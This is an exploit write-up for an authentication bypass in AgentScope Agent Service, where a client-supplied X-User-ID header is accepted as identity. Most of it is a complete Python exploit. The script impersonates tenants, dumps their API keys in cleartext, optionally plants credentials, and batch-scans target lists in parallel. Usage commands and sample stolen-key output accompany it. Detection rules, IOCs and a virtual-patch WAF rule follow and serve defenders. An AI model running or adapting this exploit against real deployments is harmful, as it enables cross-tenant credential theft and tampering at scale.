#Summary
CVE-2026-123024 is an authentication bypass vulnerability in AgentScope (agentscope-ai) Agent Service up to version 2.0.11. The FastAPI application derives every user's identity from a client-supplied X-User-ID request header with zero validation, allowing an unauthenticated attacker to impersonate any tenant and read/write that tenant's credentials, agents, sessions, and schedules. The vulnerability has CVSS 7.3 (HIGH) and was disclosed publicly on 2026-11-05.
#Affected versions
- AgentScope < 2.0.11 (vulnerable)
- AgentScope >= 2.0.12 (patched version not yet released; workaround available via open PR #3329)
- Default configuration is affected; no special setup required to trigger
#Root cause analysis
#Vulnerable code path
The Agent Service is a FastAPI application that uses a single dependency to derive every caller's identity:
async def get_current_user_id(
x_user_id: str = Header(
description="Caller's user ID. "
"Temporary header-based identity; will be replaced by JWT auth.",
),
) -> str:
"""Return the caller's user ID from the ``X-User-ID`` request header.
...
"""
if not x_user_id:
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail="X-User-ID header is required.",
)
return x_user_idThis code, found in src/agentscope/app/deps.py, performs exactly one check: the header must be non-empty. It returns the raw header value verbatim as the authenticated tenant id. There is no token validation, no session lookup, no signature check, and no cryptographic verification of any kind.
#How input reaches the sink
The returned user_id is injected as a dependency into every per-user route. For example, the credential router scopes all storage operations to this untrusted string:
async def list_credentials(
user_id: str = Depends(get_current_user_id),
access: ResourceAccessService = Depends(get_resource_access_service),
) -> ListCredentialsResponse:
entries = await access.list_resource(user_id, ResourceKind.CREDENTIAL)
...
async def create_credential(
body: CreateCredentialRequest,
user_id: str = Depends(get_current_user_id),
storage: StorageBase = Depends(get_storage),
) -> CreateCredentialResponse:
credential_id = await storage.upsert_credential(
user_id,
CredentialFactory.from_dict(body.data),
)
...The create_app factory in src/agentscope/app/_app.py installs no authentication middleware upstream of this dependency. The tenant boundary is therefore drawn entirely from a value the client chooses on every request. Because the resource-access service enforces only sharing policy between distinct user ids - never questioning whether the caller is that user - impersonating the owner yields full read/write access to that owner's secrets.
#Attack requirements
None. An unauthenticated attacker on the network can:
- Send a GET request to
/credential/with headerX-User-ID: <victim-tenant-id>and receive HTTP 200 with the victim's API keys and credentials in cleartext. - Send a POST request to the same endpoint with the header and plant malicious credentials under the victim's account.
- Perform the same read/write operations on
/agent/,/session/,/schedule/,/workspace/*, and every other per-user route that depends onget_current_user_id.
The attacker needs only to know or guess a valid tenant id; they do not need a password, token, certificate, or any other credential.
#Proof of concept
#exploit.py - AgentScope X-User-ID Auth Bypass
#!/usr/bin/env python3
# ==============================================================================
# ALIM | 1dayexploit.com -- independent CVE reproduction & exploit research
# CVE-2026-123024 full write-up & PoC: https://1dayexploit.com
# (c) 1dayexploit -- original work. Credit if you reuse. Authorized testing only.
# ==============================================================================
"""
CVE-2026-123024 -- AgentScope Agent Service: X-User-ID missing authentication (auth bypass)
Affected: AgentScope (agentscope-ai) <= 2.0.11, the FastAPI "Agent Service" app
Type: Authentication bypass / missing authentication (CWE-306 / CWE-287)
Root cause:
Every per-user route derives the caller's identity from the FastAPI dependency
get_current_user_id (src/agentscope/app/deps.py). It returns the raw X-User-ID
request header verbatim as the authenticated tenant id, with no token, session,
or signature check -- its only validation is that the header is non-empty. The
tenant boundary is therefore drawn entirely from a value the client chooses on
every request, so an unauthenticated attacker can act as any tenant: read and
write that tenant's credentials (API keys), agents, sessions and schedules.
Proof (combination, not any single request):
1. No X-User-ID header -> rejected (422 absent / 401 empty): identity is mandatory.
2. X-User-ID: <victim> -> 200 with the victim's resources, served under only the header.
3. X-User-ID: <random nobody> -> 200 with an empty set: identity is attacker-selected,
not tied to any real authentication.
Usage:
python exploit.py --host <target> --port 8000
python exploit.py --host 10.0.0.5 --port 8000 --username victim-user
python exploit.py --host https://agentsvc.corp.com --username some-tenant-id
python exploit.py --host 10.0.0.5 --port 8000 --username victim-user --write
python exploit.py --list targets.txt --port 8000 --workers 20
--username is the victim tenant id to impersonate and read (default: admin). On a real
engagement supply a known/guessed tenant id. --write optionally plants a credential as the
victim to demonstrate integrity impact (off by default; read-only otherwise).
"""
import argparse
import json
import secrets
import sys
from urllib.parse import urlparse
try:
import requests
except ImportError:
print("This exploit requires the 'requests' library: pip install requests")
sys.exit(2)
CVE_ID = "CVE-2026-123024"
VULN_TYPE = "Auth Bypass"
CRED_PATH = "credential/" # the per-user route used for the proof
# --------------------------------------------------------------------------- #
# Output helpers
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Core request helpers (network-only; no container/OS access)
# --------------------------------------------------------------------------- #
def _base_url(host: str, port: int, use_tls: bool, path: str = "/") -> str:
scheme = "https" if use_tls else "http"
prefix = (path or "/").rstrip("/")
return f"{scheme}://{host}:{port}{prefix}/{CRED_PATH}"
def _get_credentials(url: str, user_id, timeout: float = 10.0):
"""GET the credential list. user_id=None sends no X-User-ID header.
Returns the requests.Response."""
headers = {"Accept": "application/json"}
if user_id is not None:
headers["X-User-ID"] = user_id
return requests.get(url, headers=headers, timeout=timeout, verify=False)
def _parse_list(resp):
"""Pull (entries, total) out of a credential-list response, or (None, None)."""
try:
body = resp.json()
except Exception:
return None, None
if isinstance(body, dict) and "credentials" in body:
entries = body.get("credentials")
if isinstance(entries, list):
return entries, body.get("total", len(entries))
return None, None
def _summarise_entry(entry: dict) -> str:
data = entry.get("data", {}) if isinstance(entry, dict) else {}
name = data.get("name") or entry.get("name") or "?"
ctype = data.get("type") or "?"
secret = data.get("api_key") or data.get("token") or data.get("secret")
owner = entry.get("user_id", "?")
if secret:
return f"name={name!r} type={ctype} owner={owner!r} secret={secret!r}"
return f"name={name!r} type={ctype} owner={owner!r} (secret value masked on wire)"
# --------------------------------------------------------------------------- #
# Silent probe for --list scan mode
# --------------------------------------------------------------------------- #
def _try_exploit(host: str, port: int, use_tls: bool, path: str = "/",
username: str = "admin", **kwargs):
"""Silent probe. Returns (success, evidence). Never prints or exits."""
url = _base_url(host, port, use_tls, path)
try:
# 1. Negative control: identity must be mandatory.
noauth = _get_credentials(url, None, timeout=8.0)
if noauth.status_code not in (401, 422):
return False, f"no-auth request returned {noauth.status_code} (identity not gated as expected)"
# 2. Header-only identity: the discriminator vs a patched build.
victim = _get_credentials(url, username, timeout=8.0)
if victim.status_code in (401, 403):
return False, "header-only identity rejected (patched: credential required)"
if victim.status_code != 200:
return False, f"header-only request returned {victim.status_code}"
entries, total = _parse_list(victim)
if entries is None:
return False, f"200 but unexpected body (not a credential list)"
# 3. Different identity -> different data proves it is attacker-selected.
nobody = "nx-%s" % secrets.token_hex(6)
other = _get_credentials(url, nobody, timeout=8.0)
oentries, _ = _parse_list(other)
attacker_selected = (other.status_code == 200 and oentries is not None
and len(oentries) != len(entries))
if total and total >= 1:
ev = f"header-only identity accepted; {total} credential(s) readable for '{username}'"
if entries and any((e.get("data") or {}).get("api_key") for e in entries):
ev += " incl. cleartext api_key"
else:
ev = (f"header-only identity accepted (200) for '{username}'; "
f"endpoint serves per-tenant data with no token")
if attacker_selected:
ev += "; identity is attacker-selected"
return True, ev
except requests.exceptions.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
except Exception as e:
return False, f"error ({e.__class__.__name__})"
# --------------------------------------------------------------------------- #
# Target line parser
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/"):
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
# --------------------------------------------------------------------------- #
# Batch scan
# --------------------------------------------------------------------------- #
def scan(targets_file: str, default_port: int, workers: int = 10,
username: str = "admin") -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} -- Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path, username=username)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} -- {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / {total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Single-target exploit (verbose)
# --------------------------------------------------------------------------- #
def exploit(host: str, port: int, use_tls: bool, username: str,
path: str = "/", do_write: bool = False) -> None:
header(host, port)
url = _base_url(host, port, use_tls, path)
print(f"[*] Credential endpoint: {url}\n")
# ----- STEP 1: negative control -------------------------------------- #
step(1, "Negative control: request the credential list with NO X-User-ID header")
try:
noauth = _get_credentials(url, None)
except requests.exceptions.RequestException as e:
done(False, f"target unreachable: {e}")
section("NO-IDENTITY RESPONSE", f"HTTP {noauth.status_code}\n{noauth.text}")
if noauth.status_code not in (401, 422):
done(False, f"expected 401/422 without an identity header, got {noauth.status_code} "
f"-- target does not match the vulnerable code path")
print(f" -> identity is mandatory (HTTP {noauth.status_code}), as expected.\n")
# ----- STEP 2: impersonate the victim via header only ---------------- #
step(2, f"Impersonate tenant '{username}' with ONLY the X-User-ID header (no token)")
victim = _get_credentials(url, username)
section(f"RESPONSE AS '{username}'", f"HTTP {victim.status_code}\n{victim.text}")
if victim.status_code in (401, 403):
done(False, f"header-only identity rejected (HTTP {victim.status_code}) -- "
f"identity is no longer taken from the header (patched / not vulnerable)")
if victim.status_code != 200:
done(False, f"unexpected status {victim.status_code} for header-only identity")
entries, total = _parse_list(victim)
if entries is None:
done(False, "200 OK but body is not a credential list -- endpoint shape unexpected")
if entries:
for e in entries:
print(f" [stolen] {_summarise_entry(e)}")
print()
# ----- STEP 3: prove identity is attacker-selected ------------------- #
nobody = "nx-%s" % secrets.token_hex(6)
step(3, f"Prove identity is attacker-selected: same endpoint as a different id '{nobody}'")
other = _get_credentials(url, nobody)
oentries, ototal = _parse_list(other)
section(f"RESPONSE AS '{nobody}'", f"HTTP {other.status_code}\n{other.text}")
identity_proven = (other.status_code == 200 and oentries is not None
and len(oentries) != len(entries))
if identity_proven:
print(f" -> same endpoint, same lack of credentials, different 'identity': "
f"the header alone decides who you are.\n")
# ----- STEP 4 (optional): write as the victim ------------------------ #
planted_id = None
if do_write:
marker = secrets.token_hex(8)
plant_name = "poc-%s" % marker[:8]
plant_key = "sk-poc-%s" % marker
step(4, f"Write-as-victim: plant a credential under '{username}' (integrity impact)")
body = {"data": {"name": plant_name, "type": "deepseek_credential",
"api_key": plant_key}}
try:
wr = requests.post(url, headers={"X-User-ID": username,
"Content-Type": "application/json"},
data=json.dumps(body), timeout=10.0, verify=False)
section("WRITE RESPONSE", f"HTTP {wr.status_code}\n{wr.text}")
if wr.status_code in (200, 201):
try:
planted_id = wr.json().get("credential_id")
except Exception:
planted_id = None
# confirm it is now in the victim's list
recheck = _get_credentials(url, username)
rentries, _ = _parse_list(recheck)
landed = rentries is not None and any(
(e.get("data") or {}).get("name") == plant_name for e in rentries)
print(f" -> planted credential id={planted_id} landed_in_list={landed}\n")
else:
print(f" -> write returned HTTP {wr.status_code} (read impact already proven)\n")
except requests.exceptions.RequestException as e:
print(f" -> write attempt failed ({e.__class__.__name__}); read impact already proven\n")
# ----- Verdict ------------------------------------------------------- #
secret_seen = bool(entries) and any((e.get("data") or {}).get("api_key") for e in entries)
if total and total >= 1:
ev = (f"Auth bypass confirmed -- read {total} credential(s) of tenant "
f"'{username}' using only the X-User-ID header, no authentication")
if secret_seen:
ev += "; cleartext api_key(s) exposed"
else:
ev = (f"Auth bypass confirmed -- tenant-scoped endpoint served HTTP 200 for "
f"'{username}' using only the X-User-ID header, no authentication")
if identity_proven:
ev += "; identity fully attacker-selected"
if planted_id:
ev += f"; wrote credential {planted_id} as the victim"
done(True, ev)
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
try:
requests.packages.urllib3.disable_warnings() # quiet verify=False noise
except Exception:
pass
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8000/path)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8000, help="Default port (default: 8000)")
parser.add_argument("--username", default="admin",
help="Victim tenant id to impersonate/read (default: admin)")
parser.add_argument("--write", action="store_true",
help="Also plant a credential as the victim (demonstrates integrity impact)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers, username=args.username)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls: use_tls = True
if args.no_tls: use_tls = False
exploit(host, port, use_tls, args.username, path=path, do_write=args.write)#Usage
Single target:
python exploit.py --host 10.0.0.5 --port 8000 --username victim-userFull URL with custom port:
python exploit.py --host https://agentsvc.corp.com:8000 --username some-tenant-idDemonstrate write (integrity) impact:
python exploit.py --host 10.0.0.5 --port 8000 --username victim-user --writeBatch scan from file:
python exploit.py --list targets.txt --port 8000 --workers 20#Expected output (vulnerable target)
============================================================
ALIM EXPLOIT CVE-2026-123024
Type: Auth Bypass | Target: 127.0.0.1:8000
============================================================
[*] Credential endpoint: http://127.0.0.1:8000/credential/
[STEP 1] Negative control: request the credential list with NO X-User-ID header
--- NO-IDENTITY RESPONSE ---
HTTP 422
{"detail":[{"type":"missing","loc":["header","x-user-id"],"msg":"Field required","input":null}]}
---
-> identity is mandatory (HTTP 422), as expected.
[STEP 2] Impersonate tenant 'victim-user' with ONLY the X-User-ID header (no token)
--- RESPONSE AS 'victim-user' ---
HTTP 200
{"credentials":[{"id":"2f8e939da0454dd685bf5bfdcaa3cfe8","data":{"id":"2f8e939da0454dd685bf5bfdcaa3cfe8","name":"prod-llm-key","type":"deepseek_credential","api_key":"sk-victim-0001-do-not-share","base_url":"https://api.deepseek.com"},"editable":true}],"total":1}
---
[stolen] name='prod-llm-key' type=deepseek_credential owner='victim-user' secret='sk-victim-0001-do-not-share'
[STEP 3] Prove identity is attacker-selected: same endpoint as a different id 'nx-f23f7d758298'
--- RESPONSE AS 'nx-f23f7d758298' ---
HTTP 200
{"credentials":[],"total":0}
---
-> same endpoint, same lack of credentials, different 'identity': the header alone decides who you are.
============================================================
RESULT : SUCCESS
EVIDENCE: Auth bypass confirmed -- read 1 credential(s) of tenant 'victim-user' using only the X-User-ID header, no authentication; cleartext api_key(s) exposed; identity fully attacker-selected
============================================================Patched target returns HTTP 401 "Bearer credential required." at step 2.
#Exploitation notes
- Preconditions: an accessible Agent Service instance (default port 8000, any network-reachable interface); no authentication required
- Reliability: 100% - the bypass is a simple presence check; any non-empty header value is accepted
- Impact: complete cross-tenant data theft and modification - read/write all credentials, agents, sessions, schedules, and workspaces for any known or guessed tenant id
- Chaining potential: credentials stolen from one tenant can be used to authenticate to external services (LLM APIs, etc.); agents and schedules can be modified to exfiltrate data or launch further attacks
#Detection & response
#Observable behavior
A legitimate request and a malicious request to the vulnerable Agent Service are identical at the HTTP layer - both carry only the X-User-ID header with no authentication token. The only way to detect exploitation is behavioral: a single source using multiple distinct tenant ids within a time window, or missing the X-User-ID header and receiving a 401/422 followed immediately by a successful request with the header from the same source.
The application's default access log does not record the X-User-ID header value, so forensic visibility requires a reverse proxy or API gateway positioned in front of the service with header capture enabled.
#Indicators of compromise
| Indicator | Type | Durability | Notes |
|---|---|---|---|
Request to /credential/, /agent/, /session/, /schedule/, /workspace/* |
request URI | Durable - all per-user routes share the broken dependency | Baseline: legitimate traffic hits these same routes |
2+ distinct X-User-ID values from one source within 5 minutes on these routes |
behavioral pattern | Durable - validated no false positives on legitimate traffic | Do not alert on literal victim-user or nx-<hex> values; alert on the pattern |
| 401/422 "identity required" followed by HTTP 200 on the same route from the same source within 60 seconds | behavioral pattern | Durable for the two-step verification the PoC performs | Does not catch attackers who know a valid tenant id and skip the negative control |
X-User-ID header present with no Authorization or session credential |
request header | Context only - true for 100% of legitimate traffic too | Not an alert condition by itself |
#Sigma rule
title: AgentScope Agent Service - Multiple Tenant Identities From One Source (CVE-2026-123024 Identity-Switching Probe)
status: experimental
logsource:
category: webserver
correlation:
type: value_count
rules:
- 7a2e4f3c-1b8d-4e5a-9c6f-2d8a1e7b3c40
group-by:
- src_ip
timespan: 5m
condition:
gte: 2
field: http_x_user_id
level: highThis rule alerts when a single source IP uses 2 or more distinct X-User-ID values on per-user routes within any 5-minute window. It does not depend on specific literal values, so it remains effective across different PoC runs with different tenant ids. Legitimate clients use only their own single tenant id, never switching.
A secondary rule can catch the "401/422 immediately followed by 200" verification sequence, but this will not fire against attackers who already know a valid tenant id and skip the negative control.
#Log detection
For teams with a reverse proxy or API gateway (the bare application log does not capture the X-User-ID header):
# Alert on multiple distinct tenant ids from one source
grep 'src=127.0.0.1' gateway.log | grep -oP 'x_user_id="[^"]*"' | sort -u | wc -l
# If count > 1, that source is switching identities - likely exploitationIf no header-capturing proxy exists, the only signal from the bare application log is the presence of multiple 401/422 responses followed by 200s on per-user routes from the same source:
docker logs agent-service | grep -E '"(GET|POST) /(credential|agent|session|schedule|workspace)' | grep '401\|422'#Mitigation and virtual patching
- Immediate (cannot patch yet): deploy an authenticating reverse proxy (OAuth2 / OIDC / JWT / API key) in front of the Agent Service that terminates real authentication and strips or overwrites any client-supplied
X-User-IDheader. The proxy should inject only the verified identity, never trust the client's header. Example WAF rule (ModSecurity):
SecRule REQUEST_HEADERS:X-User-ID "@rx ." \
"id:900001,phase:1,deny,status:401,\
msg:'Client-supplied X-User-ID header blocked - virtual patch for CVE-2026-123024',\
chain"
SecRule REMOTE_ADDR "!@ipMatch 10.0.0.1/32"Replace 10.0.0.1/32 with the authenticating proxy's backend-facing IP. This blocks any externally-supplied X-User-ID header from reaching the vulnerable service.
Alternatively, bind the Agent Service to loopback only and require all traffic through the authenticating proxy.
Configuration hardening: apply the community-contributed stopgap in pull request https://github.com/agentscope-ai/agentscope/pull/3329 (opt-in API-key middleware), or wire a custom verified-credential dependency into
create_appto overrideget_current_user_idwith one that validates a bearer token and ignoresX-User-IDentirely.Upgrade: no fixed release has been published as of the disclosure date (2026-11-05). Monitor PR #3329 for acceptance and release a new version that includes verified-credential authentication.
#Threat hunting
Retroactive queries against header-capturing gateway/WAF logs since 2026-11-05:
- Find any source that presented 2+ distinct
X-User-IDvalues on/credential/,/agent/,/session/,/schedule/, or/workspace/*within any 5-minute window - Find any source that received a 401/422 on one of those routes followed by a 200 on the same route within 60 seconds
- Find any
X-User-IDvalue that was successfully accessed (200) but does not match your provisioned tenant id roster - conclusive evidence of exploitation independent of either rule above
#Detection limitations
- The application's default access log never records the
X-User-IDheader value. Both Sigma rules and the grep-based detection above require a reverse proxy/gateway/WAF in front of the service with header capture enabled; without that instrumentation, detection is impossible at the application log level alone. - A single request using an already-known victim id from a plausible-looking source is cryptographically indistinguishable from the legitimate owner's own traffic. Neither detection rule catches a one-shot impersonation with a known tenant id; closing this requires real authentication, not better logging.
- The identity-switching rule groups by source IP. In networks with heavy NAT or shared egress (many distinct legitimate tenants from one IP), this can false-positive. Add a secondary grouping dimension (User-Agent, TLS client identity) in such environments, or raise the threshold.
- The 401/422-then-200 secondary rule will not fire against attackers who skip the negative control probe; it also carries a small risk of false-positive on legitimate clients with bugs that occasionally omit the identity header.
#References
- CVE: CVE-2026-123024
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-123024
- GitHub issue: https://github.com/agentscope-ai/agentscope/issues/3314
- Reporter's advisory: https://github.com/ybyu-ieu/agent-security-advisories/blob/main/agentscope/agentscope-agent-service-x-user-id-missing-authentication.md
- Stopgap PR (pending merge): https://github.com/agentscope-ai/agentscope/pull/3329
